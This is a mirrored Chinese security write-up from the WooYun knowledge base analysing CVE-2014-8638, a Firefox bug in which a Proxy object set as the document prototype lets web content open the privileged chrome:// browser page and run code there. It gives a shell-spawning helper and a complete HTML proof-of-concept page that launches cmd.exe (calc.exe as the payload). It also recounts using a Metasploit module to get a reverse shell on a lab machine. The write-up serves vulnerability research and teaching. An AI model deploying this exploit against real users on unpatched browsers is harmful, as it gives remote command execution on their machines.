作者:
phith0n
·
2015/03/26 17:47
0x00 前言
前段時間,二哥在很多瀏覽器中將指令碼層面的漏洞提升為遠端命令執行,幾乎日遍市面上所有國產瀏覽器,這成為了許多人津津樂道的話題。確實,在當今這個底層安全防護越來越強的環境下,堆疊溢位、UAF造成的漏洞利用起來變得很困難,但如果藉助瀏覽器提供的一些指令碼層介面做到RCE,將是一個是兩撥千金的過程。
CVE-2014-8638就是這樣一個漏洞,而且影響到的不是國(shan)產(zhai)瀏覽器,而是大名鼎鼎的Firefox。它也是javascript逐步進入ECMAScript 6時代後遇到的一個比較有意思的漏洞。
0x01 漏洞的發現
Firefox是較早引入ECMAScript 6特性的瀏覽器,Proxy 就是一個ECMAScript 6特性,它可以用來hook javascript原生的get/set方法。比如如下程式碼:
#!javascript
var x = {};
var p = Proxy(x, {
get: function() {
console.log('getter called!');
return 'intercepted';
},
set: function() {
console.log('setter called!');
}
});
console.log(p.foo);
p.bar = 1;
執行後將會得到如下結果:
這個方法為javascript注入了新的血液,但也帶來了新的安全問題。Getter和Setter將導致我們將沒有特權的javascript程式碼注入到有特權的javascript程式碼之前,這些程式碼在後面檢查許可權的函式之前,所以他們是有特權的。Chrome下也出現過由於這個原因導致的問題:LINK1 ,LINK2 ,大家也可以下去自己研究一下。
經過作者的研究,當我們把Proxy物件作為其他物件的prototype時,就會出現一些問題,比如如下程式碼就能宕掉伺服器:
#!javascript
document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});
不過除此之外,作者當時並沒有想到更好的利用方法,所以就提交到mozilla官方了,firefox在35版本修復了這個問題。
0x02 突破點
作者後來做了如下嘗試:
#!javascript
var props = {};
props['has'] = function(){
var chromeWin = open("chrome://browser/content/browser.xul", "x")();
};
document.__proto__ = Proxy.create(props)
驚奇的發現,當我們在Proxy中,嘗試開啟一個特權頁面“chrome://browser/content/browser.xul”的時候,居然只是彈出了“阻止視窗彈出”的提醒。這說明特權頁面是可以被輕易開啟的,這個提醒也可以透過點選頁面的方式繞過。
0x03 chrome:意味著什麼
我們能夠開啟一個域為chrome://browser/content/browser.xul的頁面,以為著什麼?
火狐和其他很多瀏覽器一樣,都有自己的特權域。不同的URI schemes意味著不同的許可權。Chromium的特權域是chrome://downloads,Safari的是file://。Firefox的特權域是chrome://,只要在這個域下的javascript擁有瀏覽器的最高許可權。所以我們能用這樣的javascript幹很多事,比如執行shell命令。
你可以試著開啟chrome://browser/content/browser.xul並在控制檯下執行如下程式碼(linux/osx):
#!javascript
function runCmd(cmd) {
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", cmd];
process.run(true, args, args.length);
}
runCmd("touch /tmp/owned");
執行後,可以發現/tmp/owned已經建立,touch命令執行成功。
所以,一旦攻擊者能夠將程式碼注入到這個頁面,就可以執行任意命令了。
0x04 注入程式碼
那麼怎麼注入程式碼到這個頁面?
眾所周知,瀏覽器同源策略(SOP)將不會允許我們在http://attacker域下注入程式碼到chrome://browser域下。非常幸運的是,作者以前就做過類似的研究:LINK
當open的第三個引數有傳入”chrome”的話,並且在擁有特權的docshell 下呼叫,那麼我們的URL就會以“top-level frame”的形式被開啟(形似“首選項”那種頁面),並且沒有傳統的document物件(就是一個白白的皮膚)。這樣的視窗,擁有一個messageManager屬性,能夠訪問其他docshell(特權是通行的~嘿):
#!javascript
// abuse vulnerability to open window in chrome://
var c = new mozRTCPeerConnection;
c.createOffer(function(){},function(){
var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');
// we can now reference the `messageManager` property of the window's parent
alert(w.parent.messageManager)
});
messageManager是firefox中的特權API,能夠線上程間傳遞資訊。同樣,javascript也是可以傳遞的,方式是使用loadFrameScript函式。
0x05 命令執行
作者其實這塊寫的特別簡略,直接告訴我可以怎樣寫metasploit exploit,可明明POC都沒告訴我呀!!對於我這種沒開發過firefox外掛、沒讀過原始碼的通知簡直就……我想到一張操蛋的圖:
對,就像這樣……
於是我更新了metasploit,生成了一個exploit來研究。得出瞭如下的POC:
#!javascript
<!doctype html>
<html>
<body>
<script>
var opts = {"zqwessa123": "\n (function(){var process = Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);var sh = Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);sh.initWithPath(\"C:\\\\windows\\\\system32\\\\cmd.exe\");process.init(sh);\nvar shell='calc.exe';var args = [\"\/c\", shell];\n process.run(true, args, args.length);})();\n\n"};
var key = opts['zqwessa123'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
},100);
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
</script>
The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected.
</body>
</html>
過程還是比較簡單,首先建立Proxy物件,實現has方法,has方法實際上就是hook了物件的“in”操作,具體可見Proxy文件。然後將document的prototype設定為Proxy物件,這樣實際上我們接管了document的in操作,並且這些程式碼是有特權的。
使用之前講的方法開啟chrome://browser/content/browser.xul,獲得了messageManager屬性,用data協議構造了一個iframe,並將要執行的javascript程式碼也以data協議的形式用messageManager. loadFrameScript載入,執行特權API。
注意,因為在docshell中,所以是沒有傳統的window物件、document物件,所以你呼叫alert、console等方法是沒用的。opts物件中的那一串javascript就是最後執行的特權API,透過process.run執行C:\windows\System32\cmd.exe /c calc.exe,效果是彈出一個小計算器:
一個簡單的POC就此誕生了。
然後,不得不說metesploit中的 firefox_proxy_prototype模組,透過這個模組生成的exploit可以直接反彈shell。
虛擬機器10.211.55.3上Firefox版本是33,在影響範圍內,開啟http:// 10.211.55.2:12306/m0EbugSmqwCW1PP ,隨意點選一處,即可觸發。
主機上等待上線:
這邊反彈成功,可以看到,已經拿下10.211.55.3的使用者許可權shell。
0x06 資料
原文:LINK
測試的FF33我在這裡下載的:LINK
Windows下的POC:LINK
一個小演示:LINK
還有很多點,作者雖然沒在本文說明,但基本都可以從作者文章連結所指向的文章看到。顯然作者對瀏覽器漏洞的研究是一個過程,就像一部動漫,如果你不看前面的部分,這部分內容就可能比較難懂。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!